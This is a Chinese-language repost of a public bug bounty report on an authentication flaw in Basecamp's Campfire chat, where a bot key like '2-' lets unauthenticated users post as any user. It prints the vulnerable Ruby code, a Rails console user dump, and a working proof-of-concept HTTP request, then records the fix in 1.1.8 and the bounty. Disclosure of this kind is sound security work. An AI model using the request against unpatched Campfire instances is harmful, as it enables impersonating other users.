Basecamp Campfire 机器人身份验证漏洞:可任意用户冒充发送消息

本文披露了Basecamp旗下Campfire产品中的一个严重身份验证漏洞。由于机器人密钥认证逻辑存在缺陷,攻击者无需认证即可冒充任意用户向聊天室发送消息,涉及具体的代码漏洞分析和修复过程。

报告 #3329310 - 不当的机器人身份验证允许在房间发送消息时冒充任何用户

时间线

  • 已通过身份验证的黑客 stackered 向 Basecamp 提交了一份报告。
  • 2025年9月6日,下午3:24 (UTC)

漏洞详情

机器人被允许在房间内发送消息,但需要使用机器人密钥进行身份验证。机器人密钥认证函数如下:

1
2
3
4
def authenticate_bot(bot_key)
  bot_id, bot_token = bot_key.split("-")
  active.find_by(id: bot_id, bot_token: bot_token)
end

问题的关键在于:如果 bot_key 没有右侧部分(例如:1-),bot_token 将变为 nil,此时查询会匹配一个 User 记录(只要 bot_id 匹配一个有效的用户ID)。

用户ID是递增的,这可以从 Rails 控制台看到,因此很容易被猜测。这些ID在某些URL中也是可见的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
campfire(prod):038> User.active
=>
[#<User:0x00007a444e940f18
  id: 1,
  name: "enoent",
  created_at: "2025-09-06 11:59:41.505220000 +0000",
  updated_at: "2025-09-06 14:08:08.788258000 +0000",
  role: "administrator",
  email_address: "[FILTERED]",
  password_digest: "[FILTERED]",
  active: true,
  bio: "<s>ddqsdqsds</s>",
  bot_token: nil>,
 #<User:0x00007a444e940dd8
  id: 2,
  name: "test",
  created_at: "2025-09-06 13:24:29.113250000 +0000",
  updated_at: "2025-09-06 13:42:26.539859000 +0000",
  role: "member",
  email_address: "[FILTERED]",
  password_digest: "[FILTERED]",
  active: true,
  bio: nil,
  bot_token: nil>,
 #<User:0x00007a444e940c98

以下请求示例凸显了此问题,它允许一个未经身份验证的用户冒充另一个用户(此处使用ID 2)并以该用户的名义发布消息:

1
2
3
4
5
6
7
8
POST /rooms/2/2-/messages HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/vnd.turbo-stream.html, text/html, application/xhtml+xml
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 193

Hello ! I'm the test user, even though I'm not authenticated

附带的图片显示,消息已成功发布,并且看起来来自“test”用户。

影响 未经身份验证的用户可以冒充任何用户发送任意消息到被冒充用户有权访问的房间。

后续处理

  • jacopo-beschi 在 2025年9月9日 下午4:08 (UTC) 确认了报告的有效性。
  • jacopo-beschi 多次调整了漏洞严重性评级。
  • jacopo-beschi 于 2025年9月10日 上午7:18 (UTC) 更新说明:由于Campfire项目现已开源,将不再提供漏洞赏金,但会处理现有报告。
  • Basecamp 向 stackered 支付了 2000 美元的赏金。 (2025年9月10日 上午8:43 UTC)
  • jacopo-beschi 通知在 1.1.8 版本中已发布修复,并请求验证。
  • stackered 确认在补丁发布后无法再复现该问题。
  • 报告于 2025年9月11日 下午12:06 (UTC) 被标记为“已解决”。
  • stackered 请求公开报告,jeremy (Basecamp员工) 同意,报告于 2025年11月21日 下午7:39 (UTC) 被公开。

报告摘要

  • 报告ID: #3329310
  • 状态: 已解决
  • 严重性: 高 (7 ~ 8.9)
  • 披露日期: 2025年11月21日,下午7:39 UTC
  • 弱点类型: 不当的身份验证 - 通用
  • CVE ID:
  • 赏金: $2,000
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计